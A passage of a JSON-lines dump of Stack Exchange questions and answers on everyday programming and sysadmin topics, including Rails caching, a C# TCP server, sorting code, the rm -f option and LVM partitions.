unit.try(:unit_name) %></td>                                <td><%= unit.attendant.try(:medic_name) %></td>                                <td><%= unit.incharge.try(:medic_name) %></td>                             </tr>                               <% end %>                            </tbody>                            </table>                    </div>                </div>                <div class=span6>                    <div class=slate>                        <div class=page-header>                            <h2><i class=icon-shopping-cart pull-right></i>Units</h2>                        </div>                            <table class=table table-striped table-bordered>                                <thead>                                    <tr>                                        <th>Unit</th>                                        <th>Status</th>                                    </tr>                                </thead>                                <tbody>                                      <tr>                                        <% @unit.each do |unit| %>                                        <td><%= unit.try(:unit_name) %></td>                                        <td><div class=<%= set_status(unit.status) %>><%= unit.status.try(:unit_status) %></div></td>                                        </tr>                                        <% end %>                                    </tbody>                                </table>                    </div>                </div>            </div>        </div>          </div>"  , "title": "Controller and view to call multiple instance variables"  , "tags": "ruby;html;ruby on rails;active record;erb"  , "accepted_answer": "Wow... yeah, that's a lot.My immediate suggestion would be to simply make the dashboard do less. I doubt all of those things are of extreme importance all the time.A lot seems like historical data (that spans years), but it's shown along side current stuff (that spans hours, it seems). I imagine most users only use a fraction of all that (and some users are no doubt intimidated). No offense intended, but I imagine the UI is simply overwhelming users - until they learn to ignore almost all of it, and just focus on the things they actually need.If it must be on one page, load the less-important data on-demand via ajax.Second suggestion: Aggressively cache as much as you can. Cache, cache, cache. For instance, any YTD-value will by definition only change once per day, not for each request. Check out the Rails Guides for some ideas and ActiveSupport::Cache for the implementation, and/or look into things like redis and memcached.Rails has a lot built-in already, though. For instance, you could cache something like the last year's number of calls like so:class Call  def self.previous_year_cached    expiry = Time.zone.now.end_of_year - Time.zone.now    Rails.cache.fetch([self.name, previous_year_count], expires_in: expiry) do      self.previous_year.count    end  endendSo now, when you call Call.previous_year_cached it'll either give you a cached value without hitting the database, or it'll execute the block to find and store a new value. And it'll set the cache to expire on New Year's Eve (you could of course also just set to expire after 1.week or something, and skip the calculation, but it's just a little arithmetic).Second line of caching is view caching. The Rails Guides I linked to above provide a good introduction to those. View caching will often give you even more of a speed-up, since rendering views is time-consuming. So view caching will give you the most bang for your buck, because you're caching at the very last step before sending the page to the browser. But any kind of caching will help speed things up, so data caching like above will also help. That way, even if a view has to be re-rendered, it might still avoid hitting the database by pulling its values from the cache.You can also cache things without an explicit expiration date, and instead just flush (remove) the cache when it needs to update. For instance, you could cache today's calls, and flush the cached count when a new call record is added:class Call  after_create :flush_cache  after_destroy :flush_cache  def self.today_count_cached    Rails.cache.fetch([self.name, today_count]) { self.today.count }  end  private  def flush_cache    Rails.cache.delete([self.class.name, today_count])  endendYou can of course add many more cached values this way, choosing when to store and delete them. See ActiveRecord's callbacks for the triggers you can act on.Third option would be to do more client-side. Let users sort and filter instead of trying to anticipate every single data breakdown a user could want. Again, I doubt your users actually want all that data . They may think they do, but do they really? It's easy to say yes if we pretend there are no tradeoffs, but there are: usability and speed (and maintainability, and development time).Try checking out ux.stackexchange.com. Besides perhaps finding some good tips for organizing a lot of data, you'll no doubt also find studies that indicate exactly how much information a human being can actually process. It's always useful to have scientific studies to refer to, if you want to argue for a more simple design.I know it's trite, but less is more. Really.I know this isn't much of a code review, but the individual pieces look OK on their own. There are just too many pieces, if you ask me. The only thing that looks iffy (after a quick glance) are all the service level scopes. If you just make a scope for every conceivable service level, you might as well just have 1 scope with a lambda, and pass in the service level (or use service_level.calls). What you have right now is overly specific, and couples everything very tightly. "  } 
{  "id": "_softwareengineering.142289"  , "question": "How are authors able to write a book on a framework that is just released? A framework like spring is updated, and a book is released in the next day. Is this typically by people who are direct contributors? Are they basing it off of beta/alpha versions? I find this rather difficult to understand as that documentation is rarely up to snuff by the time the framework is updated."  , "title": "How does one write a book on a new framework?"  , "tags": "books;technical writing"  , "accepted_answer": "Those who write books about frameworks are generally involved in the framework they are writing about, they have access to documentation and pre-release versions of the framework. They aren't random people that know about programming, they likely contacted the development team about writing a book and got the information or were asked by the development team to write a book. Also good frameworks keep their documentation up to date, its part of being a good framework, though the general public may not have access to the most up to date documentation."  } 
{  "id": "_webapps.86739"  , "question": "I want to gather information and pictures from 100 college alumni.  How can I do this in a way where I can send individual links to each alumni member?"  , "title": "How do I send individual links to collect data in Cognito Forms"  , "tags": "cognito forms"  } 
{  "id": "_unix.218797"  , "question": "Hello I am newbie in bash and I am coding a daemon to execute a service. The syntax is ./ctlscript.sh start. When I execute service openproject start it should run this command, but it runs ./ctlscript.sh whitout a parameter and I get the usage. This is my script:#! /bin/sh### BEGIN INIT INFO# Provides: openproject# Required-Start: $remote_fs $syslog# Required-Stop: $remote_fs $syslog# Default-Start: 2 3 4 5# Default-Stop: 0 1 6# Short-Description: Openprject# Description: This file starts and stops Openproject server#### END INIT INFOOPENP_DIR=/opt/openprjcase $1 in start)   su administrador -c $OPENP_DIR/ctlscript.sh start   ;; stop)   su administrador -c $OPENP_DIR/ctlscript.sh stop   ;; restart)   su administrador -c $OPENP_DIR/ctlscript.sh stop   sleep 20   su administrador -c $OPENP_DIR/ctlscript.sh start   ;; *)   echo Usage: openproject {start|stop|restart} >&2   exit 3   ;;esacThis is what I get when I run service openproject stop. It is the same when I launch ./ctlscript.sh (without any parameter):usage: /opt/openprj/ctlscript.sh help       /opt/openprj/ctlscript.sh (start|stop|restart|status)       /opt/openprj/ctlscript.sh (start|stop|restart|status) mysql       /opt/openprj/ctlscript.sh (start|stop|restart|status) memcached       /opt/openprj/ctlscript.sh (start|stop|restart|status) apache       /opt/openprj/ctlscript.sh (start|stop|restart|status) subversion       /opt/openprj/ctlscript.sh (start|stop|restart|status) openprojecthelp       - this screenstart      - start the service(s)stop       - stop  the service(s)restart    - restart or start the service(s)status     - show the status of the service(s)Thanks in advance."  , "title": "Execute sh with parameters in bash"  , "tags": "bash;shell;daemon"  , "accepted_answer": "The argument to -c must be a single word, so su administrador -c $OPENP_DIR/ctlscript.sh startFor restart, you should stop first, then start"  } 
{  "id": "_codereview.72017"  , "question": "I am working on a banking application. I want to create a multithreaded TCP Payment Card (iso8583) server that can handle passbook printing requests simultaneously. Multiple devices are connected to the server from different locations.I am going to use below code in my application. Is this thread safe? Can I face any problem in the future if I use this code? All suggestions welcome.class Program    {        static void Main(string[] args)        {            TcpListener serverSocket = new TcpListener(8888);            TcpClient clientSocket = default(TcpClient);            int counter = 0;            serverSocket.Start();            Console.WriteLine( >>  + Server Started);            counter = 0;            while (true)            {                counter += 1;                clientSocket = serverSocket.AcceptTcpClient();                Console.WriteLine( >>  + Client No: + Convert.ToString(counter) +  started!);                handleClinet client = new handleClinet();                client.startClient(clientSocket, Convert.ToString(counter));            }            clientSocket.Close();            serverSocket.Stop();         //   Console.WriteLine( >>  + exit);           Console.ReadLine();        }    }    //Class to handle each client request separatly    public class handleClinet    {        TcpClient clientSocket;        string clNo;        public void startClient(TcpClient inClientSocket, string clineNo)        {            this.clientSocket = inClientSocket;            this.clNo = clineNo;            Thread ctThread = new Thread(doChat);            ctThread.Start();        }        private void doChat()        {            int requestCount = 0;            byte[] bytesFrom = new byte[10025];            string dataFromClient = null;            Byte[] sendBytes = null;            string serverResponse = null;            string rCount = null;            requestCount = 0;            while ((true))            {                try                {                    var respose = ;                    requestCount = requestCount + 1;                    NetworkStream networkStream = clientSocket.GetStream();                    networkStream.Read(bytesFrom, 0, (int)clientSocket.ReceiveBufferSize);                    dataFromClient = System.Text.Encoding.ASCII.GetString(bytesFrom);                  //  dataFromClient = dataFromClient.Substring(0, dataFromClient.IndexOf($));                    Console.WriteLine( >>  + From client- + clNo + dataFromClient);                    try                    {                        var isoPassbookRequestMessage = System.Text.Encoding.ASCII.GetString(bytesFrom);                        WebClient wc = new WebClient();                        NameValueCollection input = new NameValueCollection();                        input.Add(isoPassbookRequest, Convert.ToBase64String(bytesFrom));                        respose = Encoding.ASCII.GetString(wc.UploadValues(http://localhost:52835/Transaction/PassbookTransactionRequest, input));                        try                        {                          //  CommonMethods.AddtoLogFile(PassbookTransactionResponse = Clientid- + clientID +  ProcessingCode -930000 Message - + respose);                          //  atmServer.Send(clientID, Encoding.ASCII.GetBytes(respose));                        }                        catch (SocketException se)                        {                            //could not complete transaction                            //Send reversal to CBS                        }                    }                    catch (Exception e)                    {                    }                    rCount = Convert.ToString(requestCount);                   serverResponse = Server to clinet( + clNo + )  + rCount;                    sendBytes = Encoding.ASCII.GetBytes(respose);                    networkStream.Write(sendBytes, 0, sendBytes.Length);                    networkStream.Flush();                    Console.WriteLine( >>  + serverResponse);                }                catch (Exception ex)                {                    Console.WriteLine( >>  + ex.ToString());                }            }        }    }"  , "title": "TCP Server with multithreading"  , "tags": "c#;multithreading;asynchronous;socket;tcp"  } 
{  "id": "_codereview.59867"  , "question": "I'm working on a simple dictionary tool, with a base class that can be extended by plugins to represent different dictionaries. The base class does most of the heavy lifting: it keeps the index of all entries in memory, and it handles searching the index. Plugins that extend this class implement populating the index and loading the entries on demand, handling the specifics of the dictionary backend, such as the formatting of entries.These are the base classes:import abcfrom collections import defaultdictclass BaseEntry(object):    def __init__(self, entry_id, name):        self.entry_id = entry_id        self.name = name    @property    def content(self):        return {            'id': self.entry_id,            'name': self.name,            'content': [],            'references': [],        }    def __repr__(self):        return '%s: %s' % (self.entry_id, self.name)class BaseDictionary(object):    @abc.abstractproperty    def name(self):        return '<The Dictionary>'    @abc.abstractproperty    def is_public(self):        return False    @property    def license(self):        return None    def __init__(self):        self.items_sorted = {}        self.items_by_name = defaultdict(list)        self.items_by_id = {}        self.load_index()    def find(self, word, find_similar=False):        matches = self.items_by_name.get(word)        if matches:            return matches        if find_similar:            return self.find_by_prefix(word, find_similar=True)        return []    def find_by_prefix(self, prefix, find_similar=False):        matches = []        for k in self.items_sorted:            if k.startswith(prefix):                matches.extend(self.items_by_name[k])            elif matches:                break        if find_similar and not matches and len(prefix) > 1:            return self.find_by_prefix(prefix[:-1], find_similar=True)        return matches    def find_by_suffix(self, suffix):        matches = []        for k in self.items_sorted:            if k.endswith(suffix):                matches.extend(self.items_by_name[k])        return matches    def find_by_partial(self, partial):        matches = []        for k in self.items_sorted:            if partial in k:                matches.extend(self.items_by_name[k])        return matches    def get_entry(self, entry_id):        entry = self.items_by_id.get(entry_id)        if entry:            return [entry]        else:            return []    def add(self, entry):        self.items_by_name[entry.name].append(entry)        self.items_by_id[entry.entry_id] = entry    def reindex(self):        self.items_sorted = sorted(self.items_by_name)    @abc.abstractmethod    def load_index(self):                Populate the index. Implement like this:            for entry in entries:                self.add(entry)            self.reindex()        :return:                passThis is an example plugin implementation:import osimport refrom settings import dictionary_pathfrom dictionary.base import BaseDictionary, BaseEntry, lazy_propertyINDEX_PATH = os.path.join(dictionary_path, 'index.dat')re_strong_defs = re.compile(r'(Defn:|Syn\\.)')re_strong_numdots = re.compile(r'(\\d+\\. )')re_strong_alphadots = re.compile(r'(\\([a-z]\\))')re_em_roundbr = re.compile(r'(\\([A-Z][a-z]+\\.\\))')re_em_squarebr = re.compile(r'(\\[[A-Z][a-z]+\\.\\])')def load_entry_content(word, filename):    path = os.path.join(dictionary_path, filename)    if not os.path.isfile(path):        return    with open(path) as fh:        count = 0        content = []        definition_list = []        for line in fh:            # first line contains the term, and ignore next 2 lines            if count < 3:                if count == 0:                    word = line.strip().lower()                count += 1                continue            line = line.strip()            line = line.replace('*', '')            line = re_strong_defs.sub(r'**\\1**', line)            line = re_strong_numdots.sub(r'**\\1** ', line)            line = re_strong_alphadots.sub(r'**\\1**', line)            line = re_em_roundbr.sub(r'*\\1*', line)            line = re_em_squarebr.sub(r'*\\1*', line)            if line:                content.append(line)            else:                definition_list.append(['', ' '.join(content)])                content = []        return {            'id': filename,            'name': word,            'content': definition_list,            'references': []        }    class Dictionary(BaseDictionary):    @property    def name(self):        return 'Webster\\'s Unabridged Dictionary'    @property    def is_public(self):        return True    @property    def license(self):        return         The content of this dictionary is for the use of anyone anywhere        at no cost and with almost no restrictions whatsoever.        You may copy it, give it away or re-use it under the terms of        the Project Gutenberg License included online at www.gutenberg.net    def load_index(self):        with open(INDEX_PATH) as fh:            for line in fh:                (entry_id, name) = line.strip().split(':')                entry = Entry(entry_id, name)                self.add(entry)        self.reindex()    def get_entry(self, entry_id):        entries = super(Dictionary, self).get_entry(entry_id)        if not entries:            entry = Entry(entry_id, '')            if entry.content:                entry.name = entry.content['name']                self.add(entry)                return [entry]        return entriesclass Entry(BaseEntry):    @lazy_property    def content(self):        return load_entry_content(self.name, self.entry_id)An example dictionary file looks like this:chairChair, n. Etym: [OE. chaiere, chaere, OF. chaiere, chaere, F. chaire]1. A movable single seat with a back.2. An official seat, as of a chief magistrate or a judge, but esp.that of a professor; hence, the office itself.The chair of a philosophical school. Whewell.A chair of philology. M. Arnold.3. The presiding officer of an assembly; a chairman; as, to addressthe chair.4. A vehicle for one person; either a sedan borne upon poles, or two-wheeled carriage, drawn by one horse; a gig. Shak.Think what an equipage thou hast in air, And view with scorn twopages and a chair. Pope.5. An iron blok used on railways to support the rails and secure themto the sleepers. Chair days, days of repose and age.-- To put into the chair, to elect as president, or as chairman of ameeting. Macaulay.-- To take the chair, to assume the position of president, or ofchairman of a meeting.I'm looking for a general review:Is this code Pythonic?Is this is good object oriented design? Would you design the class structure differently?Other things you'd do differently? (Apart from using a database to handle the indexing of entries, a feature I plan to add soon.)The open-source project is here."  , "title": "A simple dictionary tool, extensible with plugins"  , "tags": "python;object oriented"  , "accepted_answer": "A quick review of the base classes.There's no documentation. What does this code do? How am I supposed use it? What is the interface? When I subclass one of your base classes, what are my responsibilities? What properties and methods do I need to implement and what must they return?The interface seems inconvenient. If you want to know an entry's id, then it looks like you have to write:entry.content['id']which seems unnecessarily verbose compared to something like entry.id.In BaseEntry.content you construct a new dictionary each time the method is called. This seems wasteful since the dictionary is always the same.Good practice for __repr__ methods is to output something that will evaluate to an equivalent object. So I'd write:def __repr__(self):    return '{0.__name__}({1.id}, {1.name})'.format(type(self), self)When you have an interface that needs to read the contents of a file, it's best practice to design the interface so that you can pass either a file name or a file object.The reason for this is that if an interface only accepts a file name, then you can only pass it data via the local file system, and that when the data comes from a network connection, or from a test case in Python source code, or is constructed in memory, then you have to save that data out to a temporary file. It is much more convenient to construct and pass a file object in these cases.(See for example the standard library functions tarfile.open, lzma.open, plistlib.readPlist.)Why are BaseDictionary.name and BaseDictionary.is_public abstract properties? Why do you require subclasses to override these properties?What is the purpose of the is_public property? It doesn't seem to be used."  } 
{  "id": "_codereview.77792"  , "question": "How to optimize this merge sort code to make it run faster? And how to call merge_sort function without user input by declaring necessary array in the code? #include <iostream> using namespace std;int a[50];void merge(int,int,int);void merge_sort(int low,int high){int mid;if(low<high){ mid = low + (high-low)/2; //This avoids overflow when low, high are too large  merge_sort(low,mid);  merge_sort(mid+1,high);  merge(low,mid,high); }}void merge(int low,int mid,int high){  int h,i,j,b[50],k;  h=low;  i=low;  j=mid+1;  while((h<=mid)&&(j<=high))  {   if(a[h]<=a[j])  {   b[i]=a[h];   h++;    }  else  {   b[i]=a[j];   j++;   }   i++;  }  if(h>mid) {   for(k=j;k<=high;k++)  {   b[i]=a[k];   i++;  } } else {  for(k=h;k<=mid;k++)   {   b[i]=a[k];   i++;   }  }  for(k=low;k<=high;k++) a[k]=b[k];}int main() { int num,i; cout<< MERGE SORT PROGRAM<<endl; cout<<endl<<endl; cout<<Please Enter THE NUMBER OF ELEMENTS you want to sort [THEN PRESSENTER]:       <<endl;  cin>>num;  cout<<endl;  cout<<Now, Please Enter the ( << num << ) numbers (ELEMENTS) [THEN PRESS      ENTER]:<<endl; for(i=1;i<=num;i++) {  cin>>a[i] ;  }  merge_sort(1,num);  cout<<endl;  cout<<So, the sorted list (using MERGE SORT) will be :<<endl;  cout<<endl<<endl; for(i=1;i<=num;i++) cout<<a[i]<<  ;cout<<endl<<endl<<endl<<endl;return 1;}"  , "title": "Merge sort optimization and improvement"  , "tags": "c++;optimization;algorithm;mergesort"  } 
{  "id": "_webapps.41474"  , "question": "I have a Google Spreadsheet that has 6 or 7 columns that are all related. I would like to group them all under one header, to show this relation. Each column would additionally have its own additional header (C1, C2, C3...) For example,==========================================                 Group Name              |========================================== C1  | C2  | C3  | C4  | C5  | C6  | C7  | ==========================================     |     |     |     |     |     |     |      |     |     |     |     |     |     |      |     |     |     |     |     |     |      |     |     |     |     |     |     |      |     |     |     |     |     |     |      |     |     |     |     |     |     | Is there a way to do this?"  , "title": "Grouping Columns in Google Spreadsheets"  , "tags": "google spreadsheets"  } 
{  "id": "_softwareengineering.164353"  , "question": "What's the difference between overloading a method and overriding it in Java?Is there a difference in method signature, access specifier, return type, etc.?"  , "title": "What's the difference between overloading a method and overriding it in Java?"  , "tags": "java;object oriented"  } 
{  "id": "_webmaster.23404"  , "question": "I'm working on a site that has a search facility with multiple parameters that look up property listings.  The possible parameters are:City, Area, Building Type, Min. Bedrooms, Max Rental Price, Page Number, Sort Order.The 'raw' url, without any rewriting would look something like this:www.mysite.com/city=1&area=1&type=1&bedrooms=3&price=1000&page=3&sort=1While you're using my site, it doesn't matter to me or to you what the URL looks like, so I think I'm happy to work with the so called 'dirty' URL.It matters however, what Googlebot sees, so i'm planning to add a URL rewrite to allow access to pages like:www.mysite.com/london/kensington/apartmentsAnd then i'm planning to add canonicals to make sure that's the page that gets indexed - no matter what your bedroom / price preferences are, what page of results you're on or the order in which you want them to appear.  The idea is that Google will only index fewer, higher quality 'view-all' pages, but users will be able to drill down and refine their results to get very specific.The question however is whether or not this is a correct use of the canonical and whether it will lead to the desired effect?EDITIt doesn't matter if google indexes 'dirty' URLs with parameters (though it should index the clean one when theres one available).  What really matters is that the site gets found when people conduct a relevant search.  Having it above competitor sites is the idea, if they didn't have an SEO strategy."  , "title": "Having google index canonicals but users using parameters - correct?"  , "tags": "seo;google search;url rewriting;canonical url"  , "accepted_answer": "Canonical URLs are to be used when two different URLs can be used to pull up the same content. If your URL rewriting causes this to happen then canonical URLs will be necessary.So if:www.mysite.com/london/kensington/apartmentspulls up the same content aswww.mysite.com/city=london&area=kensington&typeapartments then you need canonical URLs(That second example may not make sense but hopefully you get the idea).UPDATEIf the only difference between two pages is the sort order of a metric or something similar you will need to use canonical URLs for those pages. "  } 
{  "id": "_unix.88943"  , "question": "By reading the GNU coreutils man page for rm, one of the options is -f, which according to the manual,-f, --force          ignore nonexistent files and arguments, never promptNow, I made some tests and show that indeed if I use something likerm -f /nonexisting/directory/it won't complain.What can someone really gain from such an option?Plus the most common examples of deleting directories using rm is somethinglike rm -rf /delete/this/dirThe -r option makes sense, but -f?"  , "title": "What's the real point of the -f option on rm?"  , "tags": "rm;options;coreutils"  , "accepted_answer": "I find that the man page lacks a little detail in this case. The -f option of rm actually has quite a few use cases:To avoid an error exit codeTo avoid being promptedTo bypass permission checksYou are right that it's pointless to remove a non-existent file, but in scripts it's really convenient to be able to say I don't want these files, delete them if you find them, but don't bother me if they don't exist. Some people use the set -e in their script so that it will stop on any error (to avoid any further damage the script can cause), and rm -rf /home/my/garbage is easier than if [[ -f /home/my/garbage ]]; then rm -r /home/my/garbage; fi.A note about permission checks: to delete a file, you need write permission to the parent directory, not the file itself. So let's say somehow there is a file owned by root in your home directory and you don't have sudo access, you can still remove the file using the -f option. If you use Git you can see that Git doesn't leave the write permission on the object files that it creates:-r--r--r-- 1 phunehehe phunehehe 62 Aug 31 15:08 testdir/.git/objects/7e/70e8a2a874283163c63d61900b8ba173e5a83cSo if you use rm, the only way to delete a Git repository without using root is to use rm -rf."  } 
{  "id": "_webapps.70199"  , "question": "What is the correct syntax for the URL (see also a related question about documentation) to view a Google Visualization API Query result as a web page containing the tabulated results of the query? Directly in the question subject line implies these constraints:From the URL only, and,Not requiring separate special web pages that read that Javascript output and reformulate it, and,Not requiring manual cut and paste operations, andNot requiring a bridge through a Google document that has to be created (since I want just a direct URL to render the page),My failed attempt: My query is of the form (key value CENSORED):http://spreadsheets.google.com/a/google.com/tq?key=CENSORED&tq=SELECT%20*%20WHERE%20lower(C)%20CONTAINS%20'something'Browsing to that page dumps out the result as one long Javascript call containing JSON encoded info. Useful for programmers I bet, but not for direct viewing of a query result just by browsing to the query URL.Tacking on a &output=html:http://spreadsheets.google.com/a/google.com/tq?key=CENSORED&tq=SELECT%20*%20WHERE%20lower(C)%20CONTAINS%20'something'&output=htmlDoes not change the output. Obviously output=html is not recognized or is ignored (guessing the syntax from Google Spreadsheets URL Syntax and Display Options?). This should be documented but I could not find it (hence another related question)"  , "title": "How to directly view a Google Visualization API Query URL as a human-readable table or web page?"  , "tags": "google spreadsheets"  , "accepted_answer": "Try this: addition for html output in bold.http://spreadsheets.google.com/a/google.com/tq?tqx=out:html&tq=key=CENSORED&tq=SELECT%20*%20WHERE%20lower(C)%20CONTAINS%20'something'or the way google usually rearranges it:http://docs.google.com/spreadsheets/d/CENSORED/tq?tqx=out:html&tq=key=CENSORED&tq=SELECT%20*%20WHERE%20lower(C)%20CONTAINS%20'something'"  } 
{  "id": "_codereview.121899"  , "question": "I'm trying to make my QuickSort faster than it is and I have got no more ideas about how to make it more efficient for all types of arrays but mostly very big arrays. It uses random to create the Pivot and it uses InsertionSort when the array is less than 15 elements. What do you think guys?I appreciate for any help here to make the code run faster.public class QuickSort    private static Random rand = new Random();    public void sort(int[] v){        QuickSort(v, 0, v.length-1);    }    private void QuickSort (int[] v, int first, int last) {        if (first >= last)            return;        else {            if (last - first < 15) {                InsertionSort(v, first, last);                return;            }            int[] pivotLoc = partitionArray(v, first, last, makePivot(v,first,last));            QuickSort(v, first, pivotLoc[1]);            QuickSort(v, pivotLoc[0], last);        }    }    private int[] partitionArray (int[] v, int first, int last, int pivot) {        while(last => first) {            while(v[first] < pivot) first++;            while(v[last] > pivot) last--;            if (first > last) break;            swap(v, first, last);            first++;            last--;        }        return new int[] {first, last};    }    private void swap(int[] v, int first, int last) {        int temp = v[first];        v[first] = v[last];        v[last] = temp;    }    public void InsertionSort(int[] v, int first, int last) {        int temp;        for (int i=first + 1; i <= last; i++) {            int j = i;            while (j > 0 && v[j-1] > (v[j]) ) {                temp = v[j];                v[j] = v[j-1];                 v[j-1] = temp;                 j--;            }        }    }    private int makePivot (int[] v, int first, int last){        return v[rand.nextInt(last-first+1)+first];    }}"  , "title": "Faster QuickSort"  , "tags": "java;sorting;quick sort;insertion sort"  } 
{  "id": "_cstheory.12833"  , "question": "The problem statement isGiven convex functions $f_i$ over $X$, find  $$\\arg\\max_{x\\in X} \\sum_i f_i(x)$$Does this kind of problem structure allow one to use specific strategies to solve the problem?Does it help if I also know the lower bound and upper bound of each $\\max_x f_i(x)$ and the corresponding $x$?For example, is there any algorithm like the objective function analogy of branch and bound method ? "  , "title": "Maximizing a convex function where the objective function is separable but the search space is not"  , "tags": "ds.algorithms;approximation algorithms;optimization;convex optimization;approximation"  } 
{  "id": "_unix.75734"  , "question": "I have a bunch of web sites that I develop, and I run an Apache server locally to do debugging and design. The web sites use Apache, PHP, and MySQL. To be clear, my Apache server is not serving these sites to the internet, I just access them locally.I develop on two machines. One desktop, and one laptop. Both are running Linux Mint, and I try to keep the settings consistent between them. This means I have to duplicate the Apache and PHP configurations. I keep the directory structures the same. I have to make sure to copy the MySQL databases from one machine to the other if I make changes.Which is not ideal. It's prone to human error, especially with keeping the MySQL databases synched. Sometimes I work on one on one machine, forget to export and import the databases, and then after I've done work on the other machine, I have two versions and I can't easily merge them. Also, it's a hassle for making backups.What does work is that I store all my HTML, CSS, and Javascript in a folder in my Dropbox directory. So any changes I make to those files are automatically syncronized. It also means I have a backup in the cloud. Should the need arise, to restore these files if I ever move to a new machine, I just have to install Dropbox and all the files are recovered.The most I have to do if setting up on a new computer is create a symlink to my Dropbox directory where my HTML files are stored:sudo ln -s  /home/dave/Dropbox/Websites /var/www/WebsitesIs there a way I can do this with my Apache settings and MySQL databases as well? Where I can keep them synchronized across both machines in my Dropbox folder, and have a miminum of set up if I go to a new machine?"  , "title": "Is it not possible to store my local websites in my Dropbox folder?"  , "tags": "apache httpd;mysql;dropbox"  } 
{  "id": "_unix.371421"  , "question": "I have a question, how do I move my /dev/mapper/datos-datos_lv so I can use that space on /? I want to use the space from /dev/mapper/datos on the/` filesystem.df -hFilesystem          Size    Used    Avail   Use%    Mounted on/dev/sda1           92G     5.8G    82G     7%      /devtmpfs            1.9G    0       1.9G    0%      /devtmpfs               1.9G    140K    1.9G    1%      /dev/shmtmpfs               1.9G    41M     1.9G    3%      /runtmpfs               1.9G    0       1.9G    0%      /sys/fs/cgroup/dev/mapper/datos   296GB   63M     281G    1%      /opttmpfs               379M    28K     379M    1%      /run/user/1000What I want to achieve is:df -hFilesystem          Size    Used    Avail   Use%    Mounted on/dev/sda1           388G    5.8G    82G     7%      /devtmpfs            1.9G    0       1.9G    0%      /devtmpfs               1.9G    140K    1.9G    1%      /dev/shmtmpfs               1.9G    41M     1.9G    3%      /runtmpfs               1.9G    0       1.9G    0%      /sys/fs/cgrouptmpfs               379M    28K     379M    1%      /run/user/1000Is there any way to get 388G on /?"  , "title": "Merge two partitions"  , "tags": "linux;filesystems;partition;lvm"  } 
{  "id": "_cs.23541"  , "question": "In an article I am currently reading the grammarS  SS | a | is being described as canonical infinitely ambiguous. The infinitely ambiguous part I have no problem recognizing, but does canonical mean? Does it mean typical, standard example etc.?"  , "title": "Canonical infinitely ambiguous languages"  , "tags": "formal languages;terminology"  , "accepted_answer": "I think your understanding the use of canonical here as standard example is correct; similarly, grammars for parenthesis matching or palindromes are canonical examples for context-free grammars, generally."  } 
{  "id": "_computerscience.4662"  , "question": "So I've been messing with perspective projection matrices recently. I used numpy and GTK/Cairo to make a very small Python renderer. I'm very confused with the results I'm getting though.I took this Homogeneous Coordinates technique from an online lecture. If I understood correctly, the objective is to transform every point inside a Viewing Pyramid that's frustum shaped so they fit in a cube. (Image from of songho.ca)               You need a Field of View angle ($\\alpha$), the Near and Far plane distances ($n$ and $f$ respectively), and the aspect ratio ($r$). Firstly you turn every 3D Point into a Homogeneous Point by adding  a 1 like so:\\begin{align*}\\begin{pmatrix}  x & y & z\\end{pmatrix}\\xrightarrow{\\text{4D}}\\begin{bmatrix}  x & y & z & 1\\end{bmatrix}\\end{align*}Then you multiply your point matrix by a perspective projection matrix:\\begin{align*}\\begin{bmatrix}x & y &z & 1 \\end{bmatrix}\\begin{bmatrix}  1\\over\\tan(\\alpha/2) & 0 & 0 & 0\\\\   0 & r\\over\\tan(\\alpha/2) & 0 & 0\\\\  0 & 0 & (f+n)\\over(f-n) & -1 \\\\  0 & 0 & (2nf)\\over(f-n) & 0\\end{bmatrix}=\\begin{bmatrix}x' & y' & z' & w\\end{bmatrix}\\end{align*}And to go back to a 3D point in space you divide by the fourth dimension:\\begin{align*}\\begin{bmatrix}  x' & y' & z' & w\\end{bmatrix}\\xrightarrow{\\text{3D}}\\begin{pmatrix}  x' \\over w & y' \\over w & z' \\over w\\end{pmatrix}\\end{align*}This is exactly what I've done with numpy:def projection_matrix(fov, aspect, near, far):    t = 1/math.tan(math.radians(fov)/2)    a = (far + near)/(far - near)    b = (2*near*far)/(far-near)    r = aspect    return numpy.matrix([[t,   0,   0,   0],                         [0, r*t,   0,   0],                         [0,   0,   a,  -1],                         [0,   0,   b,   0]])But for some reason the renderer is totally messed up. This is supposed to be a spinning cube... What am I missing here?                     "  , "title": "My perspective projection is messed up?"  , "tags": "rendering;projections;camera matrix"  , "accepted_answer": "The math for the projection matrix is (with fov as $\\alpha$):$q \\leftarrow \\frac{1}{tan(\\frac{\\alpha}{2})}$$a \\leftarrow \\frac{q}{aspect}$$b \\leftarrow \\frac{(far + near)}{(near - far)}$$c \\leftarrow \\frac{(2 * far * near)}{(near - far)}$Notice that there're some things you're doing that are differently, such as the order of your subtractions between near and far, how you organize the matrix values, and your multiplication between your r * t.Using the variables above, the column-major matrix below would be the resulting perspective projection matrix:\\begin{bmatrix}  a & 0 &  0 & 0 \\\\  0 & q &  0 & 0 \\\\  0 & 0 &  b & c \\\\  0 & 0 & -1 & 0\\end{bmatrix}From the above, we get:def perspective_projection_matrix(fov, aspect, near, far):    q = 1 / tan(radians(fov * 0.5))    a = q / aspect    b = (far + near) / (near - far)    c = (2*near*far) / (near - far)    # construct column-major matrix here...NOTE: I left the last part out because I'm not familiar enough with numpy to know whether it expects row-major or column-major order.Also, you should validate all your arguments (e.g. both near > 0 and far > 0, far > near, etc.) if you want to avoid future headaches."  } 
{  "id": "_unix.296941"  , "question": "In my user, which has admin privileges, I have several languages enabled, and English (U.S.) is the 'Primary' language:After updating to El Capitan (10.11), I get mixed languages in bash:$ svn upUpdating '.':                     [English]P revisjon 3096.                 [Norwegian]$ lkbash: lk:         [Russian]$Each message is reliably the same language every time. Command not found is always in Russian, On revision #### is always in Norwegian, etc. I know these languages, so this isn't impacting my productivity, but what the dad gum is going on?!$ localeLANG=LC_COLLATE=CLC_CTYPE=UTF-8LC_MESSAGES=CLC_MONETARY=CLC_NUMERIC=CLC_TIME=CLC_ALL="  , "title": "Mixed languages in bash after OS X update to El Capitan"  , "tags": "bash;locale"  } 
